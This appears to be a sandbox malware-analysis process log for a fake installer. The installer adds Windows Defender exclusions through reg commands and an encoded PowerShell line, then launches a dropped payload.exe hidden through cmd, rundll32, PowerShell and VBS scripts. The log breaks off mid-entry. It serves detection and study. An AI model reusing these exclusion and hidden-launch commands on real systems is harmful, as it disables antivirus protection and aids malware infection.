  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1768 --field-trial-handle=1772,i,12985611083794573100,1690377453249992938,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:2196
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1044
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3580
- C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe
  "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1936 --field-trial-handle=1772,i,12985611083794573100,1690377453249992938,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal"
  2⤵
  - Executes a command shell one-liner
  PID:3852
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal
    3⤵
    PID:6048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:676
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:2264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\devcon_dfaf8e.vbs""
  2⤵
  PID:4204
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\devcon_dfaf8e.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:2640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4784
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5792
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0" /t REG_DWORD /d 0 /f"
  2⤵
  PID:6100
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5516
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0" /t REG_DWORD /d 0 /f
    3⤵
    PID:5540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4448
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1612
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:5608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:4764
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5492
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:2596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4808
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3728
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4916
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:3820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3ADcAbAA2AGUAYgBiAGEAMAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwA3AGwANgBlAGIAYgBhADAAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  - Executes a command shell one-liner
  PID:3264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3ADcAbAA2AGUAYgBiAGEAMAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwA3AGwANgBlAGIAYgBhADAAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'""
  2⤵
  PID:5108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe""
  2⤵
  PID:3364
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
    3⤵
    PID:872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0'""
  2⤵
  PID:3252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0""
  2⤵
  PID:968
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0"
    3⤵
    PID:3920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'""
  2⤵
  PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp""
  2⤵
  PID:1776
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp"
    3⤵
    PID:5252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe'""
  2⤵
  PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:5428
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
    3⤵
    PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:4072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
  2⤵
  - Executes dropped EXE
  PID:5344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:3564
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4012
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
      4⤵
      Executes dropped EXE
      PID:436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:5148
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
    3⤵
    PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:4704
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
    3⤵
    - Checks computer location settings
    - System Binary Proxy Execution: Rundll32
    PID:3640
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
      4⤵
      Executes dropped EXE
      PID:1064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2680
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
      4⤵
      Executes dropped EXE
      PID:2740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_0ae151.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:3396
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\cfghost_0ae151.vbs"
    3⤵
    - Checks computer location settings
    - Executes a VBScript file via the Windows Script Host.
    PID:4888
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
      4⤵
      Executes dropped EXE
      PID:220

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
PID:2216

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:4344
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
  2⤵
  - Executes dropped EXE
  PID:4116

C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe
"C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3w7l6ebba0\payload.exe"
1⤵
- Executes dropped EXE
PID:4852

C:\Users\Admin\Desktop\ф\Setup.exe
"C:\Users\Admin\Desktop\ф\Setup.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2816
- C:\Users\Admin\Desktop\ф\Setup.exe
  C:\Users\Admin\Desktop\ф\Setup.exe
  2⤵
  - Executes dropped EXE
  PID:2192

C:\Users\Admin\Desktop\ф\Setup.exe
"C:\Users\Admin\Desktop\ф\Setup.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:932
- C:\Users\Admin\Desktop\ф\Setup.exe
  C:\Users\Admin\Desktop\ф\Setup.exe
  2⤵
  - Executes dropped EXE
  PID:5392

C:\Users\Admin\Desktop\ф\bin\Extreme Injector.exe
"C:\Users\Admin\Desktop\ф\bin\Extreme Injector.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4776
- C:\Users\Admin\AppData\Local\Temp\3IDPq0YMjpUi3NUnf3Grn506iSD\Dry5thwpur.exe
  C:\Users\Admin\AppData\Local\Temp\3IDPq0YMjpUi3NUnf3Grn506iSD\Dry5thwpur.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:5160
- - C:\Users\Admin\AppData\Local\Temp\3IDPq0YMjpUi3NUnf3Grn506iSD\Dry5thwpur.exe
